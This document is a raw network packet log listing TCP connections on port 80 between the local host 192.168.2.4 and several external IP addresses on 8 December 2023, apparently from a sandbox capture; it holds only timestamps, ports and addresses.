Dec 8, 2023 14:51:12.397109985 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.397156000 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.397191048 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.397538900 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.397599936 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.397633076 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.397650957 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.397713900 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.397746086 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.398195028 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.398260117 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.398297071 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.398439884 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.398542881 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.398580074 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.398952961 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.399066925 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.399104118 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.399476051 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.399524927 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.399560928 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.399971008 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.400022984 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.400054932 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.400479078 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.400791883 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.400831938 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.401024103 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.401101112 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.401135921 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.401506901 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.401556015 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.401591063 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.402117014 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.402164936 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.402199030 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.402501106 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.402566910 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.402601957 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.402978897 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.403033972 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.403069019 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.403551102 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.403610945 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.403645039 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.403985023 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.404053926 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.404086113 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.404459953 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.404620886 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.404656887 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.404952049 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.405009985 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.405046940 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.405443907 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.405632019 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.405682087 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.405934095 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.406006098 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.406058073 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.406444073 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.406513929 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.406548023 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.406910896 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.407005072 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.407040119 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.407445908 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.407525063 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.407558918 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.407908916 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.407984018 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.408018112 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.408353090 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.408415079 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.408447981 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.408951998 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.408999920 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.409109116 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.409352064 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.409406900 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.409441948 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.409954071 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.410048008 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.410079956 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.410409927 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.410463095 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.410495043 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.411164045 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.412744045 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.412811041 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.674318075 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.674340963 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.674504042 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.674709082 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.674772978 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.674809933 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.674889088 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.674951077 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.674988031 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.675204039 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.675240040 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.675272942 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.675486088 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.675527096 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.675559044 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.675774097 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.675834894 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.675868988 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.676170111 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.676245928 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.676279068 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.676784992 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.676861048 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.676893950 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.676965952 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.677017927 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.677051067 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.677300930 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.677340984 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.677372932 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.677848101 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.677887917 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.677922964 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.678045034 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.678118944 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.678164959 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.678302050 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.678349972 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.678389072 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.678709984 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.678834915 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.679100990 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.960130930 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:18.141638994 CET	49753	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:18.296540976 CET	80	49753	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:18.296709061 CET	49753	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:18.296947956 CET	49753	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:18.451935053 CET	80	49753	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:18.456036091 CET	80	49753	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:18.456079960 CET	80	49753	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:18.456130028 CET	49753	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:19.810538054 CET	49753	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:21.666951895 CET	49754	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:21.822091103 CET	80	49754	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:21.822241068 CET	49754	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:21.900505066 CET	49754	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:22.056169033 CET	80	49754	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:22.063608885 CET	80	49754	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:22.063627005 CET	80	49754	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:22.063694000 CET	49754	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:23.404232025 CET	49754	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:24.420917988 CET	49755	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:24.575742006 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.575903893 CET	49755	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:24.577001095 CET	49755	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:24.731837034 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.731913090 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.731949091 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.732017040 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.732057095 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.732183933 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.732239008 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.732333899 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.732376099 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.753015041 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.753038883 CET	80	49755	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:24.753102064 CET	49755	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:26.091779947 CET	49755	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:27.108036041 CET	49756	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:27.263082981 CET	80	49756	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:27.263204098 CET	49756	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:27.263885975 CET	49756	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:27.418519974 CET	80	49756	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:27.422880888 CET	80	49756	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:27.422930956 CET	80	49756	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:27.423055887 CET	49756	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:27.423238993 CET	49756	80	192.168.2.4	131.153.147.90
Dec 8, 2023 14:51:27.577919006 CET	80	49756	131.153.147.90	192.168.2.4
Dec 8, 2023 14:51:32.807706118 CET	49757	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:33.043910980 CET	80	49757	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:33.044003010 CET	49757	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:33.044251919 CET	49757	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:33.280381918 CET	80	49757	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:33.280489922 CET	80	49757	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:33.280545950 CET	49757	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:34.544893980 CET	49757	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:34.781486034 CET	80	49757	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:35.561388969 CET	49758	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:35.797717094 CET	80	49758	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:35.797858953 CET	49758	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:35.798079014 CET	49758	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:36.034255028 CET	80	49758	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:36.034286976 CET	80	49758	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:36.034351110 CET	49758	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:37.310575962 CET	49758	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:37.547036886 CET	80	49758	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.215042114 CET	49759	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:39.448036909 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.448137999 CET	49759	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:39.448764086 CET	49759	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:39.681452990 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.681474924 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.681543112 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.681602001 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.681657076 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.681708097 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.681772947 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.681827068 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:39.681865931 CET	80	49759	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:41.967252970 CET	49760	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:42.204022884 CET	80	49760	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:42.204140902 CET	49760	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:42.204368114 CET	49760	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:42.441036940 CET	80	49760	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:42.441059113 CET	80	49760	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:42.441070080 CET	80	49760	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:42.441339016 CET	49760	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:42.441430092 CET	49760	80	192.168.2.4	94.23.162.163
Dec 8, 2023 14:51:42.677983046 CET	80	49760	94.23.162.163	192.168.2.4
Dec 8, 2023 14:51:47.709320068 CET	49761	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:47.908075094 CET	80	49761	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:47.908282042 CET	49761	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:47.909106970 CET	49761	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:48.107180119 CET	80	49761	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:48.218774080 CET	80	49761	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:48.218889952 CET	80	49761	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:48.218908072 CET	80	49761	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:48.218945026 CET	49761	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:48.218985081 CET	80	49761	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:48.219006062 CET	80	49761	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:48.219034910 CET	49761	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:48.219052076 CET	49761	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:49.419867992 CET	49761	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:50.435796976 CET	49762	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:50.634686947 CET	80	49762	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:50.634891987 CET	49762	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:50.635157108 CET	49762	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:50.832496881 CET	80	49762	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:50.925204039 CET	80	49762	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:50.925232887 CET	80	49762	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:50.925275087 CET	49762	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:50.925378084 CET	80	49762	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:50.925425053 CET	80	49762	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:50.925462961 CET	49762	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:50.925646067 CET	80	49762	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:50.925743103 CET	80	49762	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:50.925787926 CET	49762	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:52.138719082 CET	49762	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:53.154515982 CET	49763	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:53.352861881 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.353034973 CET	49763	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:53.354933023 CET	49763	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:53.552536964 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.552727938 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.552747011 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.648900986 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.648968935 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.649008036 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.649044991 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.649080992 CET	80	49763	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:53.649075031 CET	49763	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:53.649136066 CET	49763	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:53.649168968 CET	49763	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:54.857426882 CET	49763	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:56.758057117 CET	49764	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:56.957597971 CET	80	49764	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:56.957792044 CET	49764	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:57.012130022 CET	49764	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:57.209829092 CET	80	49764	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:57.301047087 CET	80	49764	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:57.301076889 CET	80	49764	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:57.301099062 CET	80	49764	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:57.301146030 CET	80	49764	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:57.301158905 CET	80	49764	66.29.155.54	192.168.2.4
Dec 8, 2023 14:51:57.301245928 CET	49764	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:57.301294088 CET	49764	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:57.301553965 CET	49764	80	192.168.2.4	66.29.155.54
Dec 8, 2023 14:51:57.498971939 CET	80	49764	66.29.155.54	192.168.2.4
Dec 8, 2023 14:52:03.534619093 CET	49765	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:03.658931971 CET	80	49765	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:03.659087896 CET	49765	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:03.659353971 CET	49765	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:03.784538031 CET	80	49765	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:03.983591080 CET	80	49765	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:03.986537933 CET	80	49765	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:03.986649036 CET	49765	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:03.986684084 CET	80	49765	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:03.986771107 CET	49765	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:05.169734955 CET	49765	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:06.185972929 CET	49766	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:06.311578035 CET	80	49766	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:06.311975956 CET	49766	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:06.312115908 CET	49766	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:06.437676907 CET	80	49766	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:06.637350082 CET	80	49766	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:06.637448072 CET	80	49766	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:06.637475014 CET	80	49766	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:06.637497902 CET	49766	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:06.637531996 CET	49766	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:07.826076031 CET	49766	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:08.842057943 CET	49767	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:08.966870070 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:08.966999054 CET	49767	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:08.967581987 CET	49767	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:09.092546940 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.092608929 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.092642069 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.092674971 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.092709064 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.092760086 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.092792034 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.092824936 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.092858076 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.291145086 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.294420958 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.294481039 CET	80	49767	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:09.294511080 CET	49767	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:09.294588089 CET	49767	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:10.482404947 CET	49767	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:11.498831034 CET	49768	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:11.623763084 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.623855114 CET	49768	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:11.624073982 CET	49768	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:11.748867989 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.947863102 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.961240053 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.961343050 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.961360931 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.961412907 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.961452007 CET	49768	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:11.961487055 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.961543083 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:11.961548090 CET	49768	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:11.961569071 CET	49768	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:11.961590052 CET	49768	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:11.962398052 CET	49768	80	192.168.2.4	34.117.26.57
Dec 8, 2023 14:52:12.087032080 CET	80	49768	34.117.26.57	192.168.2.4
Dec 8, 2023 14:52:17.354054928 CET	49769	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:17.607887030 CET	80	49769	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:17.607979059 CET	49769	80	192.168.2.4	81.169.145.70
